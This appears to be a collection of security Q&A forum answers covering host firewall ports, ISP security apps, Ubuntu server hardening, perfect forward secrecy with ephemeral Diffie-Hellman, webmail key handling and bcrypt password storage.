This shouldn't be an issue unless a buffer overflow is found in the network stack. In that case, you are screwed if you have any ports open. However, the main purpose of a firewall is to prevent outsiders from connecting to services which should only be accessible to the local host (in the case of a host firewall) or to an internal network (in the case of a network firewall). Your particular case is that of a host firewall, and thusly there should be no effect on the machine of leaving the ports open other than that someone will believe that a program occasionally runs on those ports if they perform a scan (which is true, but trivial information in your case).

Therefore, no, you don't need to close the ports unless you are concerned about someone guessing that there is occasionally a service running on those ports and attempting to someone figure out when the service is running and on top of that develop an exploit for a piece of software they have no knowledge of.


How can I know if the cyber-protection offered by my ISP is worth the extra cost?

My ISP (SFR, French one) also sell this option.

It basically consists of a "security app" for Windows/Mac OS X/iOS/Android that implements antivirus, anti-malware, browser analysis, etc...

It's more or less the equivalent of Avast, Kaspersky, etc...

Since I wouldn't "buy bread from a butcher", I didn't buy the "security app" from SFR.


Ubuntu 14.04 Laravel Web Server - What should I be concerned about?

Wow. I'm afraid no answer will be sufficient, and you'll likely need to hear from several different experts. Perhaps I will provide a simple overview [0].

Uninstall all unnecessary services (complexity is the enemy of security)
Enable and configure the firewall (UFW)
Consider upgrading to 16.04 LTS [1]
research and change all default passwords (for the remaining services)
use ssh public key authentication and disable ssh password authentication and ssh root login (assuming ssh is enabled)[2]
Follow hardening guides for each service running on your server.
Updates need to be applied quickly (or if they can't be applied, workarounds to the issues they fix should be implemented)
Backups.  Eventually something will fail. Be ready to redeploy quickly.

[0]

You've already built your application, so I can only assume your design doesn't have any security flaws, and your code handles user data very carefully.

[1]

2 extra years to upgrade before it falls out of support
not all patches are provided to older releases. Occasionally the security benefit of a patch is recognized long after release.

[2]

The world will continuously attempt to brute force your passwords.
Forcing public key authentication will render these attempts futile.
use a firewall LIMIT rule for SSH. It isn't perfect, but it reduces the log noise, and perhaps a trivial amount of CPU and network bandwidth.
moving SSH to a non-standard port reduces the log noise even more, but you'll have to remember the new port to perform maintenance.


To get Perfect Forward Secrecy, you have to use ephemeral keys.

With static Diffie-Hellman (elliptic curve or not, that's not the issue), Alice and Bob both own a DH key pair: Alice's private key is a, public key is aG (elliptic curve notation, G is the conventional "base point" for the curve); Bob's private key is b, public key is bG. When Alice and Bob want to talk to each other, they do the DH thing, which means that they end up with the shared secret value abG. They always have this exact shared secret. If an attacker manages to steals Alice's private key (a), then he can recompute the shared secret, and thus decrypt all past and future conversations between Alice and Bob.

Ephemeral Diffie-Hellman is about generating DH key pairs "on the fly" and not recording private keys anywhere (the private keys are kept in RAM only, and for the duration of the conversation only). Never being recorded ought to make these private keys immune from ulterior theft; that's where PFS comes from. This is used in SSL/TLS with the "DHE" (and "ECDHE") cipher suites: the server owns a private/public key pair, with the public key being in a certificate, and fit for signatures (e.g. that key pair is of type RSA or DSA). When a client connects, both client and server generates new DH key pairs; the server signs his newly generated DH public key with its signature key (the client verifies that signature and validates the server certificate). The key which is actually used to encrypt the data is the one derived from the Diffie-Hellman algorithm.

With DHE cipher suites, should the server's private key be stolen, then the thief only gains the power to compute forged signatures. The thief may then impersonate the server and endanger future communications by running a Man-in-the-Middle attack, but past connections were encrypted with regards to DH keys which have long been lost, and thus won't be decrypted by the attacker. That's PFS.


ProtonMail: Wouldn't it be better if each user had their own private key?

Hushmail does something like this (or used to).   The private key was stored locally and the website would send a Java applet to handle encryption/decryption and signing operations.

It would protect you against the vector you describe... but... the whole model of a web application handling PGP has serious limitations.   When you log on to the compromised site, your key can still be stolen.

The service was tapped by law enforcement with a warrant:

https://www.techdirt.com/articles/20071108/093110.shtml

I don't know if they still support the Java applet method.  They added to the case: "Hushmail stated that the Java version is also vulnerable, in that they may be compelled to deliver a compromised java applet to a user."

http://www.ghacks.net/2013/08/09/hushmail-why-you-should-run-the-java-version/

It's best to manage your software and keys locally.


Is BCrypt enough when saving a password into a database?

The short answer is, use bcrypt, not SHA256.  Bcrypt already hashes the password, so if you are using bcrypt, there is no point to use both bcrypt+SHA256; it won't be any stronger.  Bcrypt alone is sufficient.

There's a lot of advice on this site on exactly this topic.  Search for "password hashing" and you'll find it.

See, e.g., How to securely hash passwords?, Which password hashing method should I use?, Most secure password hash algorithm(s)?, Do any security experts recommend bcrypt for password storage?.

You want to use a password hashing algorithm that is as slow as you can stand, to prevent offline dictionary attacks on people's passwords if your database is compromised.

Of course, that is not enough.  There are a variety of steps you should take to make use of passwords as secure as possible.  Here are a few:

Use site-wide SSL/TLS.  Any attempt to visit your site through HTTP should immediately redirect to HTTPS.
Enable HSTS on your site.  This tells browsers to only connect to you via HTTPS. Paypal uses it.  It is supported in recent versions of Firefox and Chrome.

Search the site and you'll find lots more.